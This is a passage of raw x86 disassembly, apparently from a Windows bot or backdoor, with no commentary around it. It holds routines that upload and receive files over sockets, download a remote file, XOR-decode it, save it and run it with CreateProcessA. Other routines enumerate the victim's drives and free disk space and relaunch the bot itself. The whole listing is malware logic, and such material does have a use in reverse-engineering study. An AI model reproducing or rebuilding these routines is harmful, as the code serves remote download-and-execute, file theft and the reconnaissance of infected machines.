[ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call dword_423074 ; ReadFile push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_43EB74 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_43EB3C ; recv cmp eax, ebx jl loc_40C691 mov eax, [ebp+var_4] cmp eax, ebx jl loc_40C691 sub [ebp+arg_0], eax jnz loc_40C55F mov edi, [ebp+var_18] loc_40C5FC: ; CODE XREF: sub_40C330+224j push [ebp+var_8] call dword_423078 ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_40CE23 pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_3FC] push offset dword_42D3A8 push eax call sub_416FB6 loc_40C635: ; CODE XREF: sub_40C330+1DCj add esp, 14h loc_40C638: ; CODE XREF: sub_40C330+215j cmp [ebp+var_50], esi jnz short loc_40C65D push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D476 add esp, 14h loc_40C65D: ; CODE XREF: sub_40C330+30Bj lea eax, [ebp+var_3FC] push eax call sub_40BD8D cmp edi, esi pop ecx jbe short loc_40C675 push edi call dword_43EBBC ; closesocket loc_40C675: ; CODE XREF: sub_40C330+33Cj push [ebp+var_1F8] call dword_43EBBC ; closesocket push [ebp+var_58] call sub_416D90 pop ecx push esi call dword_423054 ; ExitThread loc_40C691: ; CODE XREF: sub_40C330+2AFj ; sub_40C330+2BAj push esi mov esi, offset dword_42D380 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_40D476 push esi call sub_40BD8D add esp, 18h push [ebp+var_1F8] call dword_43EBBC ; closesocket push [ebp+var_58] call sub_416D90 pop ecx push ebx call dword_423054 ; ExitThread sub_40C330 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C6D2 proc near ; DATA XREF: sub_40EC43+77Co var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_417830 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd xor esi, esi xor ebx, ebx inc esi push 104h mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push eax mov [ebp+var_8], ebx call dword_423068 ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset aSS_2 ; "%s%s" push eax call sub_416FB6 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call dword_423084 ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_40C75C push offset dword_42D620 jmp short loc_40C7A2 ; --------------------------------------------------------------------------- loc_40C75C: ; CODE XREF: sub_40C6D2+81j push eax call dword_423078 ; CloseHandle lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_4176A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40C784 push offset unk_42D5D8 jmp short loc_40C7A2 ; --------------------------------------------------------------------------- loc_40C784: ; CODE XREF: sub_40C6D2+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_40C0E9 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40C7B5 push offset unk_42D598 loc_40C7A2: ; CODE XREF: sub_40C6D2+88j ; sub_40C6D2+B0j lea eax, [ebp+var_4C4] push eax call sub_416FB6 pop ecx pop ecx jmp loc_40C8AF ; --------------------------------------------------------------------------- loc_40C7B5: ; CODE XREF: sub_40C6D2+C9j mov esi, 1000h loc_40C7BA: ; CODE XREF: sub_40C6D2+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_417030 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_43EB3C ; recv mov edi, eax cmp edi, ebx jz loc_40C881 cmp edi, 0FFFFFFFFh jz short loc_40C822 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_4193EF add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_43EB20 ; htonl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_43EB74 ; send jmp short loc_40C7BA ; --------------------------------------------------------------------------- loc_40C822: ; CODE XREF: sub_40C6D2+118j lea eax, [ebp+var_4C4] push offset unk_42D564 push eax call sub_416FB6 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D476 lea eax, [ebp+var_4C4] push eax call sub_40BD8D push [ebp+var_4] call sub_417600 add esp, 24h push [ebp+arg_0] call dword_43EBBC ; closesocket push [ebp+var_1C] call sub_416D90 pop ecx push 1 call dword_423054 ; ExitThread loc_40C881: ; CODE XREF: sub_40C6D2+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_40CE23 push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset unk_42D508 push eax call sub_416FB6 add esp, 1Ch loc_40C8AF: ; CODE XREF: sub_40C6D2+DEj cmp [ebp+var_14], ebx jnz short loc_40C8D4 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D476 add esp, 14h loc_40C8D4: ; CODE XREF: sub_40C6D2+1E0j lea eax, [ebp+var_4C4] push eax call sub_40BD8D cmp [ebp+var_4], ebx pop ecx jz short loc_40C8EF push [ebp+var_4] call sub_417600 pop ecx loc_40C8EF: ; CODE XREF: sub_40C6D2+212j cmp [ebp+arg_0], ebx jbe short loc_40C8FD push [ebp+arg_0] call dword_43EBBC ; closesocket loc_40C8FD: ; CODE XREF: sub_40C6D2+220j push [ebp+var_1C] call sub_416D90 pop ecx push ebx call dword_423054 ; ExitThread sub_40C6D2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C90D proc near ; DATA XREF: sub_40EC43+37D5o ; sub_40EC43+3F31o var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] rep movsd xor edi, edi xor esi, esi inc edi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_43EAD4 call dword_43EA34 ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_40CD86 push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call dword_423084 ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_40C9D4 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_42D918 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40C9B7 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D476 add esp, 14h loc_40C9B7: ; CODE XREF: sub_40C90D+88j lea eax, [ebp+var_510] push eax call sub_40BD8D push [ebp+var_48] call sub_416D90 pop ecx pop ecx push esi call dword_423054 ; ExitThread loc_40C9D4: ; CODE XREF: sub_40C90D+68j xor edi, edi call dword_423058 ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_417889 pop ecx mov [ebp+var_1C], eax loc_40C9EE: ; CODE XREF: sub_40C90D+1A9j push 200h lea eax, [ebp+var_510] push esi push eax call sub_417030 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_43EA3C ; InternetReadFile cmp [ebp+var_34], esi jz short loc_40CA32 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_40CDEC pop ecx pop ecx loc_40CA32: ; CODE XREF: sub_40C90D+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call dword_42307C ; WriteFile cmp edi, ebx jnb short loc_40CA70 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40CA5A mov eax, [ebp+arg_0] loc_40CA5A: ; CODE XREF: sub_40C90D+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_417090 add esp, 0Ch loc_40CA70: ; CODE XREF: sub_40C90D+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40CA7D cmp edi, [ebp+var_3C] ja short loc_40CABC loc_40CA7D: ; CODE XREF: sub_40C90D+169j mov eax, edi shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_444368 cmp [ebp+var_44], 1 jz short loc_40CAA5 push offset dword_42D8C8 jmp short loc_40CAAA ; --------------------------------------------------------------------------- loc_40CAA5: ; CODE XREF: sub_40C90D+18Fj push offset dword_42D880 loc_40CAAA: ; CODE XREF: sub_40C90D+196j push eax call sub_416FB6 add esp, 10h cmp [ebp+arg_0], esi ja loc_40C9EE loc_40CABC: ; CODE XREF: sub_40C90D+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_40CB11 cmp edi, [ebp+var_3C] jz short loc_40CB11 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset dword_42D830 push eax call sub_416FB6 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D476 lea eax, [ebp+var_510] push eax call sub_40BD8D add esp, 28h loc_40CB11: ; CODE XREF: sub_40C90D+1B9j ; sub_40C90D+1BEj call dword_423058 ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_423078 ; CloseHandle push [ebp+var_1C] call sub_41793B cmp [ebp+var_38], esi pop ecx jz short loc_40CB9B lea eax, [ebp+var_148] push eax call sub_40C079 cmp eax, [ebp+var_38] pop ecx jz short loc_40CB9B push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset dword_42D7F0 push eax call sub_416FB6 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D476 lea eax, [ebp+var_510] push eax call sub_40BD8D add esp, 28h loc_40CB9B: ; CODE XREF: sub_40C90D+236j ; sub_40C90D+248j cmp [ebp+var_14], esi jz loc_40CDD3 cmp [ebp+var_44], 1 push ecx lea eax, [ebp+var_148] push ecx jz loc_40CC96 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_423690 fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_423690 fstp [esp+590h+var_590] push offset dword_42D798 push eax call sub_416FB6 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CC16 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D476 add esp, 14h loc_40CC16: ; CODE XREF: sub_40C90D+2E7j lea eax, [ebp+var_510] push eax call sub_40BD8D cmp [ebp+var_40], 1 pop ecx jnz loc_40CDD3 push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_43EA98 cmp [ebp+var_30], esi jnz loc_40CDD3 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_42D758 push eax call sub_416FB6 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D476 lea eax, [ebp+var_510] push eax call sub_40BD8D add esp, 24h jmp loc_40CDD3 ; --------------------------------------------------------------------------- loc_40CC96: ; CODE XREF: sub_40C90D+2A3j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_423690 fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_423690 fstp [esp+590h+var_590] push offset unk_42D700 push eax call sub_416FB6 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CCF6 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D476 add esp, 14h loc_40CCF6: ; CODE XREF: sub_40C90D+3C7j lea eax, [ebp+var_510] push eax call sub_40BD8D push 10h lea eax, [ebp+var_10] push esi push eax call sub_417030 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_417030 add esp, 1Ch lea eax, [ebp+var_10] mov [ebp+var_310], edi xor edi, edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi inc edi push eax push esi mov [ebp+var_304], offset byte_43BCE8 mov [ebp+var_2E4], edi mov [ebp+var_2E0], si call dword_423120 ; CreateProcessA cmp eax, edi jnz short loc_40CD78 call dword_43EA84 ; WSACleanup call sub_40AA70 push esi call dword_42314C ; ExitProcess loc_40CD78: ; CODE XREF: sub_40C90D+457j lea eax, [ebp+var_148] push eax push offset dword_42D6A8 jmp short loc_40CD92 ; --------------------------------------------------------------------------- loc_40CD86: ; CODE XREF: sub_40C90D+45j lea eax, [ebp+var_248] push eax push offset dword_42D660 loc_40CD92: ; CODE XREF: sub_40C90D+477j lea eax, [ebp+var_510] push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CDC6 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D476 add esp, 14h loc_40CDC6: ; CODE XREF: sub_40C90D+497j lea eax, [ebp+var_510] push eax call sub_40BD8D pop ecx loc_40CDD3: ; CODE XREF: sub_40C90D+291j ; sub_40C90D+31Aj ... push [ebp+var_18] call dword_43EB58 ; InternetCloseHandle push [ebp+var_48] call sub_416D90 pop ecx push esi call dword_423054 ; ExitThread sub_40C90D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40CDEC proc near ; CODE XREF: sub_40C90D+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40CE08 loc_40CDF8: ; CODE XREF: sub_40CDEC+1Aj mov dl, byte_42E91C xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40CDF8 locret_40CE08: ; CODE XREF: sub_40CDEC+Aj retn sub_40CDEC endp ; =============== S U B R O U T I N E ======================================= sub_40CE09 proc near ; CODE XREF: sub_40EC43+2A07p ; sub_40EC43+2B74p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4194F9 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40CE09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE23 proc near ; CODE XREF: sub_4061E4+462p ; sub_4061E4+5FEp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_442EE0 push 0 push edi call sub_417030 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40CE48: ; CODE XREF: sub_40CE23+5Bj ; sub_40CE23+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_418ED0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_418F50 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40CE86 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40CE48 mov byte ptr [esi], 2Ch inc esi jmp short loc_40CE48 ; --------------------------------------------------------------------------- loc_40CE86: ; CODE XREF: sub_40CE23+4Bj mov eax, edi jmp short loc_40CE8F ; --------------------------------------------------------------------------- loc_40CE8A: ; CODE XREF: sub_40CE23+72j mov cl, [esi] mov [eax], cl inc eax loc_40CE8F: ; CODE XREF: sub_40CE23+65j dec esi lea ecx, [ebp+var_38] cmp esi, ecx jnb short loc_40CE8A and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40CE23 endp ; =============== S U B R O U T I N E ======================================= sub_40CEA1 proc near ; CODE XREF: sub_40D04D+51p ; sub_40D04D+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_43EB84 ; GetDriveTypeA sub eax, 0 jz short loc_40CEE4 dec eax jz short loc_40CEDE dec eax dec eax jz short loc_40CED8 dec eax jz short loc_40CED2 dec eax jz short loc_40CECC dec eax jz short loc_40CEC6 mov eax, offset word_42CFCC retn ; --------------------------------------------------------------------------- loc_40CEC6: ; CODE XREF: sub_40CEA1+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- loc_40CECC: ; CODE XREF: sub_40CEA1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40CED2: ; CODE XREF: sub_40CEA1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40CED8: ; CODE XREF: sub_40CEA1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40CEDE: ; CODE XREF: sub_40CEA1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40CEE4: ; CODE XREF: sub_40CEA1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40CEA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEEA proc near ; CODE XREF: sub_40CF32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_43EA20 test eax, eax jz short loc_40CF1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_40CF1F: ; CODE XREF: sub_40CEEA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40CEEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF32 proc near ; CODE XREF: sub_40B6ED+1F3p ; sub_40D04D+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40CEEA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40D00A mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40D00A mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40D00A push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_419540 push edx push eax call sub_40CE23 mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_41752A add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_419540 push edx push eax call sub_40CE23 push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41752A add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_419540 push edx push eax call sub_40CE23 push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41752A add esp, 18h pop ebx jmp short loc_40D039 ; --------------------------------------------------------------------------- loc_40D00A: ; CODE XREF: sub_40CF32+2Cj ; sub_40CF32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_416FB6 lea eax, [ebp+var_118] push esi push eax call sub_416FB6 lea eax, [ebp+var_98] push esi push eax call sub_416FB6 add esp, 18h loc_40D039: ; CODE XREF: sub_40CF32+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40CF32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D04D proc near ; CODE XREF: sub_40D11F+17p ; sub_40D11F+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40CF32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_4173D0 add esp, 10h test eax, eax jnz short loc_40D0C0 push ebx push ebx call sub_40CEA1 pop ecx push eax push offset dword_42D9E8 lea eax, [ebp+var_500] push 200h push eax call sub_41752A add esp, 14h jmp short loc_40D0F4 ; --------------------------------------------------------------------------- loc_40D0C0: ; CODE XREF: sub_40D04D+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40CEA1 pop ecx push eax push offset unk_42D998 lea eax, [ebp+var_500] push 200h push eax call sub_41752A add esp, 20h loc_40D0F4: ; CODE XREF: sub_40D04D+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 lea eax, [ebp+var_500] push eax call sub_40BD8D add esp, 18h pop edi pop esi pop ebx leave retn sub_40D04D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D11F proc near ; CODE XREF: sub_40EC43+577Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40D140 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D04D add esp, 10h jmp short loc_40D19F ; --------------------------------------------------------------------------- loc_40D140: ; CODE XREF: sub_40D11F+9j push esi push edi push ebx push ebx call dword_43EA94 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_417889 pop ecx mov edi, eax push edi push esi call dword_43EA94 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_40D196 loc_40D164: ; CODE XREF: sub_40D11F+75j push offset aA_0 ; "A:\\" push esi call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_40D187 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D04D add esp, 10h loc_40D187: ; CODE XREF: sub_40D11F+54j push esi call sub_4177B0 lea esi, [esi+eax+1] pop ecx cmp [esi], bl jnz short loc_40D164 loc_40D196: ; CODE XREF: sub_40D11F+43j push edi call sub_41793B pop ecx pop edi pop esi loc_40D19F: ; CODE XREF: sub_40D11F+1Fj pop ebx pop ebp retn sub_40D11F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1A2 proc near ; DATA XREF: sub_40E48A+11o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_444574 call dword_43EBBC ; closesocket call sub_416C3D call dword_43EA84 ; WSACleanup call dword_43EA84 ; WSACleanup mov ebx, dword_423064 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417030 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_417030 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43BCE8 mov [ebp+var_28], 1 mov [ebp+var_24], di call dword_423068 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call dword_423094 ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call dword_423120 ; CreateProcessA test eax, eax jz short loc_40D267 push 64h call ebx ; Sleep push [ebp+var_10] mov esi, dword_423078 call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_40D267: ; CODE XREF: sub_40D1A2+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_442F14 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call dword_42314C ; ExitProcess pop edi pop esi pop ebx sub_40D1A2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D28A proc near ; CODE XREF: sub_40D2C2+125p ; sub_40D2C2+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40D2B8 loc_40D29B: ; CODE XREF: sub_40D28A+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_4195F0 add esp, 0Ch test eax, eax jz short loc_40D2BE inc esi cmp esi, edi jl short loc_40D29B loc_40D2B8: ; CODE XREF: sub_40D28A+Fj xor al, al loc_40D2BA: ; CODE XREF: sub_40D28A+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40D2BE: ; CODE XREF: sub_40D28A+27j mov al, 1 jmp short loc_40D2BA sub_40D28A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2C2 proc near ; CODE XREF: sub_402DB1+88p ; sub_402DB1+174p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_417830 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_40D303 dec eax jz short loc_40D2E1 dec eax loc_40D2DB: ; CODE XREF: sub_40D2C2+57j xor eax, eax loc_40D2DD: ; CODE XREF: sub_40D2C2+3Fj ; sub_40D2C2+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_40D2E1: ; CODE XREF: sub_40D2C2+16j push 3 push 1388h push [ebp+arg_0] call dword_43EB64 ; inet_addr push eax call sub_40751B add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_40D2DD ; --------------------------------------------------------------------------- loc_40D303: ; CODE XREF: sub_40D2C2+13j push 6 push 1 push 2 call dword_43EBA4 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_40D2DB push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_417030 add esp, 0Ch mov [ebp+var_10], 